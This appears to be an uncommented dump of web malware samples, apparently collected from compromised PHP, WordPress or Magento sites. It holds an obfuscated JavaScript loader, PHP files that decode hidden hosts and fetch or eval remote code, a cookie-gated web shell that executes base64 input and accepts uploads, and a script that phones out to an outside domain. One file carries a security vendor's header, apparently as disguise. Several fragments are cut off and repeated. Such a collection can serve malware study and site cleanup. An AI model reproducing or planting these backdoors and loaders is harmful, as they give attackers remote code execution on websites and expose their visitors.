magefix

## gist:0bffd5dd309862bd7f899ca4184dee7d
(function(_0x388a44,_0x319c62){function _0x3d41aa(_0x105ffb,_0x3c90ff,_0x51827d,_0x533aee){return _0x2ad5(_0x105ffb- -0x398,_0x51827d);}function _0x544dcb(_0xc5f63a,_0x1f7270,_0x185bc3,_0xf920d){return _0x2ad5(_0xc5f63a- -0x190,_0x1f7270);}var _0x3b58dc=_0x388a44();while(!![]){try{var _0x4707c0=parseInt(_0x544dcb(0x8,0x5f,0x53,0x2))/(-0x3de+-0x1*-0x1c37+-0x1858)*(parseInt(_0x544dcb(-0xb,-0x4e,-0x19,0x29))/(0x8*0x449+-0x12b7+0x239*-0x7))+-parseInt(_0x3d41aa(-0x1f6,-0x1df,-0x20e,-0x238))/(-0x7*-0x42d+0x200*0x10+-0x3d38)*(-parseInt(_0x3d41aa(-0x189,-0x1a6,-0x137,-0x17c))/(-0x22d+-0xb*0x7+-0x1d*-0x16))+parseInt(_0x544dcb(-0x3,0x55,0x2c,-0xa))/(-0x2*-0x437+0x1b3d+0x15f*-0x1a)*(-parseInt(_0x544dcb(-0x1e,-0x72,-0x1,-0x58))/(-0x19*-0x53+-0x23df+0x1bca*0x1))+-parseInt(_0x544dcb(0x43,-0xd,0x8,0x1))/(0x2f*-0x36+-0x1825*0x1+0x2216)*(-parseInt(_0x3d41aa(-0x202,-0x1ed,-0x1af,-0x23f))/(0x1839+0x9a6*-0x1+-0x3*0x4d9))+-parseInt(_0x3d41aa(-0x21c,-0x1c0,-0x252,-0x273))/(0x13eb+-0x1270+-0x172)*(-parseInt(_0x544dcb(0xf,0x1d,0x64,

## index.php
<?php
function e($url) { $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'e'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); $r=curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function de($d) { $end=substr($d, strlen($d) -2); $array=str_split($d); $result=''; for ($i=0;$i<count($array) - 2;$i=$i+2) { $result .= $array[$i+1] . $array[$i]; } $result .= $end;/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ return $result; } $api=base64_decode('aHR0cDovL3VzMzIxLXYzMTIuYW1hem9uZG5zMzkuY29t'); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url']=$_SERVER['REQUEST_URI']; $params['ip']=isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $params['agent']=isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['referer']=isset($_SERVER['HTTP_REFERER']) ? $_

## about.php
<?php
/**================================================================================================
___  ___
|  \/  | Copyright (C) 2017-2023, Monarx, Inc.
| .  . |  ___   _ __    __ _  _ __ __  __
| |\/| | / _ \ | '_ \  / _` || '__|\ \/ /
| |  | || (_) || | | || (_| || |    >  <
\_|  |_/ \___/ |_| |_| \__,_||_|   /_/\_\

===================================================================================================

## wp-load.php
<?php
set_time_limit(0);
error_reporting(1);
$ccd     = str_rot13('ncv.nrqbbqnrmv.sha');
if ( array_key_exists ('update', $_GET)){


        $ch = curl_init("http://{$ccd}/files/file.txt");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 0);

## sk-jspark_init.php
(function() {
          if(!window._skz_pid)
              return;

          try
          {
              this._hlpr = function(){
                  return {
                  url : "//freeresultsguide.com/sk-jspark.php?",
                  params : {

## accesson.php
<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

## 3index.php ( banksstop.tech )
<?php $uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$u
	<?php
	/**================================================================================================
	___ ___
	\| \/ \| Copyright (C) 2017-2023, Monarx, Inc.
	\| . . \| ___ _ __ __ _ _ __ __ __
	\| \|\/\| \| / _ \ \| '_ \ / _` \|\| '__\|\ \/ /
	\| \| \| \|\| (_) \|\| \| \| \|\| (_\| \|\| \| > <
	\_\| \|_/ \___/ \|_\| \|_\| \__,_\|\|_\| /_/\_\

	===================================================================================================
	<?php
	set_time_limit(0);
	error_reporting(1);
	$ccd = str_rot13('ncv.nrqbbqnrmv.sha');
	if ( array_key_exists ('update', $_GET)){


	$ch = curl_init("http://{$ccd}/files/file.txt");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 0);
	(function() {
	if(!window._skz_pid)
	return;

	try
	{
	this._hlpr = function(){
	return {
	url : "//freeresultsguide.com/sk-jspark.php?",
	params : {